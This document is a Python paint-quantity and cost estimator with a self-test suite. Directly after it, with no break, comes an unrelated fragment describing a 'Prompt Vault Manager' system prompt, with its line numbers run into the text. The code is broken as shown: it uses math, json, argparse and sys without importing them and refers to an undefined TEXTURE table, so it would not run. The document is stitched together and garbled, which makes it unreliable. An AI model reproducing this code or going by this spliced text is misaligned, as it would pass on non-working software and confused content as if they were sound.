UNITS = {"metric": {"len": "m", "area": "m2", "vol": "L", "cov": (6, 16), "height": (2.2, 4.0)},
"imperial": {"len": "ft", "area": "sq ft", "vol": "gal", "cov": (250, 450), "height": (7.0, 13.0)}}
LIGHTNESS = {"light": 0, "medium": 1, "dark": 2}
class JobError(ValueError):
pass
def num(x, what, minimum=0.0, strict=True):
if isinstance(x, bool) or not isinstance(x, (int, float)) or (x <= minimum if strict else x < minimum):
raise JobError(f"{what} must be a number {'>' if strict else '>='} {minimum:g}")
return float(x)
def best_mix(need, cans):
"""Cheapest combination of cans with total size >= need; ties -> less leftover, fewer cans."""
cans = sorted(cans, key=lambda c: -c["size"])
best = None
def rec(i, vol, cost, picked):
nonlocal best
if vol >= need - 1e-9:
key = (round(cost, 6), round(vol - need, 6), sum(picked))
if best is None or key < best[0]:
best = (key, list(picked), vol, cost)
return
if i == len(cans) or (best is not None and cost > best[0][0] + 1e-9):
return
c = cans[i]
top = math.ceil((need - vol) / c["size"] - 1e-9)
for k in ([top] if i == len(cans) - 1 else range(top, -1, -1)):
picked.append(k)
rec(i + 1, vol + k * c["size"], cost + k * c["price"], picked)
picked.pop()
if need <= 0:
return {"cans": [], "volume": 0.0, "cost": 0.0, "leftover": 0.0}
rec(0, 0.0, 0.0, [])
if best is None:
return None
_, picked, vol, cost = best
return {"cans": [{"size": c["size"], "count": k, "price": c["price"]} for c, k in zip(cans, picked) if k],
"volume": vol, "cost": cost, "leftover": vol - need}
def estimate(job):
units = str(job.get("units", "metric")).lower()
if units not in UNITS:
raise JobError("units must be metric or imperial")
U = UNITS[units]
waste = num(job.get("waste", 0.1), "waste", 0, strict=False)
paints = job.get("paints") or {}
if not paints:
raise JobError("paints is empty")
for pname, p in paints.items():
num(p.get("coverage"), f"paint {pname!r} coverage")
if not p.get("cans"):
raise JobError(f"paint {pname!r} has no cans")
for c in p["cans"]:
num(c.get("size"), f"paint {pname!r} can size")
num(c.get("price", 0), f"paint {pname!r} can price", 0, strict=False)
rooms = job.get("rooms") or []
if not rooms:
raise JobError("rooms is empty")
findings, lines, need = [], [], {}
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for r in rooms:
name = r.get("name") or "room"
L, W, H = (num(r.get(k), f"{name}: {k}") for k in ("length", "width", "height"))
if not U["height"][0] <= H <= U["height"][1]:
f("LOW", "ODD_HEIGHT", name, f"height {H:g} {U['len']} is unusual; check the unit and the measurement")
tex = str(r.get("texture", "smooth")).lower()
if tex not in TEXTURE:
raise JobError(f"{name}: texture must be smooth, light or rough")
openings = 0.0
for o in r.get("openings") or []:
cnt = o.get("count", 1)
if not isinstance(cnt, int) or isinstance(cnt, bool) or cnt < 0:
raise JobError(f"{name}: opening count must be a whole number >= 0")
openings += num(o.get("w"), f"{name}: opening w") * num(o.get("h"), f"{name}: opening h") * cnt
gross = 2 * (L + W) * H
surfaces = {"walls": gross - openings, "ceiling": L * W}
if openings >= gross * 0.6:
f("HIGH", "OPENINGS_TOO_LARGE", name, f"openings {openings:.1f} {U['area']} are {openings / gross:.0%} of the walls; check the measurements")
surfaces["walls"] = max(surfaces["walls"], 0.0)
prev, new = r.get("previous"), r.get("new")
for sname in ("walls", "ceiling"):
s = r.get(sname)
if not s:
continue
pname = s.get("paint")
if pname not in paints:
raise JobError(f"{name} {sname}: unknown paint {pname!r}")
coats = s.get("coats", 2)
if not isinstance(coats, int) or isinstance(coats, bool) or coats < 1:
raise JobError(f"{name} {sname}: coats must be a whole number >= 1")
cov = float(paints[pname]["coverage"])
primer = bool(s.get("primer"))
if sname == "walls" and prev in LIGHTNESS and new in LIGHTNESS and LIGHTNESS[prev] - LIGHTNESS[new] >= 2 and coats < 3 and not primer:
f("MEDIUM", "DARK_TO_LIGHT", name, "dark to light colour change: add a stain-blocking primer or a third coat")
if r.get("new_surface") and not primer and coats < 3:
f("MEDIUM", "NEW_SURFACE", name, f"new plaster or drywall on the {sname}: seal with a mist coat or primer first (it soaks up paint)")
if coats == 1:
f("LOW", "ONE_COAT", f"{name} {sname}", "one coat usually looks patchy; plan two")
vol = surfaces[sname] * coats * TEXTURE[tex] / cov * (1 + waste)
need[pname] = need.get(pname, 0.0) + vol
lines.append({"room": name, "surface": sname, "area": round(surfaces[sname], 2), "coats": coats,
"paint": pname, "texture": tex, "volume": round(vol, 2)})
for pname, p in paints.items():
lo, hi = U["cov"]
if pname in need and not lo <= p["coverage"] <= hi:
f("LOW", "COVERAGE_SUSPECT", pname, f"coverage {p['coverage']:g} {U['area']}/{U['vol']} per coat is outside the usual {lo}-{hi}; check the label")
buys, total = [], 0.0
for pname in sorted(need):
mix = best_mix(round(need[pname], 4), paints[pname]["cans"])
if mix is None:
f("HIGH", "NO_CAN_MIX", pname, "no can combination found")
continue
total += mix["cost"]
buys.append(dict(mix, paint=pname, need=round(need[pname], 2)))
if mix["volume"] and mix["leftover"] > 0.3 * mix["volume"] and mix["leftover"] > 1:
f("LOW", "BIG_LEFTOVER", pname, f"{mix['leftover']:.1f} {U['vol']} left over; keep it for touch-ups or check smaller can prices")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": job.get("name", "painting job"), "units": units, "currency": job.get("currency", ""),
"waste": waste, "lines": lines, "buy": buys, "total_cost": round(total, 2), "findings": findings}
def g(x):
return f"{x:.2f}".rstrip("0").rstrip(".")
def report(res):
U = UNITS[res["units"]]
cur = res["currency"]
out = [f"# Paint estimate: {res['name']}", "",
f"Units: {res['units']} ({U['area']}, {U['vol']}); waste allowance {res['waste']:.0%}", "",
f"| Room | Surface | Area ({U['area']}) | Coats | Paint | Texture | Paint needed ({U['vol']}) |", "|---|---|---|---|---|---|---|"]
for l in res["lines"]:
out.append(f"| {l['room']} | {l['surface']} | {g(l['area'])} | {l['coats']} | {l['paint']} | {l['texture']} | {g(l['volume'])} |")
out += ["", "## Shopping list", f"| Paint | Needed ({U['vol']}) | Buy | Bought ({U['vol']}) | Left over | Cost |", "|---|---|---|---|---|---|"]
for b in res["buy"]:
mix = " + ".join(f"{c['count']} x {g(c['size'])} {U['vol']}" for c in b["cans"])
out.append(f"| {b['paint']} | {g(b['need'])} | {mix} | {g(b['volume'])} | {g(b['leftover'])} | {g(b['cost'])} {cur} |")
out += ["", f"**Total paint cost: {g(res['total_cost'])} {cur}** (primer, tape, rollers and fillers not included)", "", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
cans = [{"size": 10, "price": 100}, {"size": 2.5, "price": 30}]
m = best_mix(11, cans)
ok("11 L -> 10 + 2.5 for 130", m["cost"] == 130 and m["volume"] == 12.5)
m = best_mix(8, cans)
ok("8 L -> one 10 L (100 < 4 x 30)", m["cans"] == [{"size": 10, "count": 1, "price": 100}])
m = best_mix(7, cans)
ok("7 L -> 3 x 2.5 for 90", m["cost"] == 90 and m["leftover"] == 0.5)
ok("tie prefers less leftover", best_mix(2, [{"size": 4, "price": 10}, {"size": 2, "price": 10}])["volume"] == 2)
ok("zero need buys nothing", best_mix(0, cans)["cans"] == [])
base = {"waste": 0, "paints": {"w": {"coverage": 10, "cans": cans}},
"rooms": [{"name": "r", "length": 4, "width": 3, "height": 2.5, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(base)
ok("wall area 2x(4+3)x2.5 = 35", r["lines"][0]["area"] == 35)
ok("35 m2 x 2 coats / 10 = 7 L", r["lines"][0]["volume"] == 7)
ok("clean job has no findings", r["findings"] == [] and r["total_cost"] == 90)
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 0.9, "h": 2, "count": 1}, {"w": 1.2, "h": 1.25, "count": 2}]
ok("openings subtracted (35 - 1.8 - 3 = 30.2)", estimate(j)["lines"][0]["area"] == 30.2)
j = json.loads(json.dumps(base)); j["rooms"][0]["ceiling"] = {"paint": "w", "coats": 1}
r = estimate(j)
ok("ceiling area 12 and one-coat flagged", r["lines"][1]["area"] == 12 and any(x["code"] == "ONE_COAT" for x in r["findings"]))
ok("same paint summed across surfaces", r["buy"][0]["need"] == 8.2)
j = json.loads(json.dumps(base)); j["waste"] = 0.1; j["rooms"][0]["texture"] = "rough"
ok("rough + 10% waste: 7 x 1.25 x 1.1", estimate(j)["lines"][0]["volume"] == 9.62)
j = json.loads(json.dumps(base)); j["rooms"][0].update(previous="dark", new="light")
ok("dark to light flagged", any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j["rooms"][0]["walls"]["primer"] = True
ok("primer clears dark to light", not any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["new_surface"] = True
ok("new surface flagged", any(x["code"] == "NEW_SURFACE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 3, "h": 2.5, "count": 4}]
ok("openings too large flagged", any(x["code"] == "OPENINGS_TOO_LARGE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["coverage"] = 30
ok("coverage suspect flagged", any(x["code"] == "COVERAGE_SUSPECT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["height"] = 8
ok("metric height 8 m flagged", any(x["code"] == "ODD_HEIGHT" for x in estimate(j)["findings"]))
imp = {"units": "imperial", "waste": 0, "paints": {"w": {"coverage": 350, "cans": [{"size": 1, "price": 40}, {"size": 5, "price": 170}]}},
"rooms": [{"name": "r", "length": 12, "width": 10, "height": 8, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(imp)
ok("imperial 352 sq ft x2 / 350 -> 2.01 gal -> 3 x 1 gal", r["lines"][0]["area"] == 352 and r["buy"][0]["cans"] == [{"size": 1, "count": 3, "price": 40}])
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 1, "price": 5}]; j["rooms"][0]["length"] = 40
ok("big leftover not flagged for exact fit", not any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 20, "price": 150}]
ok("big leftover flagged (20 L for 7 L)", any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
for mut, label in ((lambda j: j.update(units="cubits"), "bad units"), (lambda j: j.update(paints={}), "no paints"),
(lambda j: j["rooms"][0].update(height=0), "zero height"),
(lambda j: j["rooms"][0]["walls"].update(paint="x"), "unknown paint"),
(lambda j: j["rooms"][0]["walls"].update(coats=1.5), "fractional coats"),
(lambda j: j["rooms"][0].update(texture="glitter"), "bad texture"),
(lambda j: j.update(rooms=[]), "no rooms")):
j = json.loads(json.dumps(base))
mut(j)
try:
estimate(j)
ok(label + " rejected", False)
except JobError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Estimate paint quantity, cans to buy and cost for rooms.")
ap.add_argument("file", nargs="?", help="painting job JSON")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a job JSON file or --self-test")
try:
res = estimate(json.load(open(a.file, encoding="utf-8")))
except (OSError, json.JSONDecodeError, JobError, AttributeError, TypeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="\n" if a.json else "")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Defines a strict, versioned, markdown-first vault system for managing reusable prompts as production instruments, with mandatory file contracts, INDEX.md catalog, Git changelog rules, and operating modes for stand-up, promote, version, retire, and audit.
1You are the Prompt Vault Manager.23You are the working records officer for a private, versioned, markdown-first prompt vault. You treat prompts as production instruments: each receives a home, a stable ID, a version, a status, an owner, and a path an agent can load.45Knowledge Profile:6- Git as the durable changelog.7- Markdown + YAML frontmatter as the contract.8- Distinguishing prompts (reusable text) from skills (agent-loadable procedures).9- Naming that is a job, not a vibe.10...+92 more lines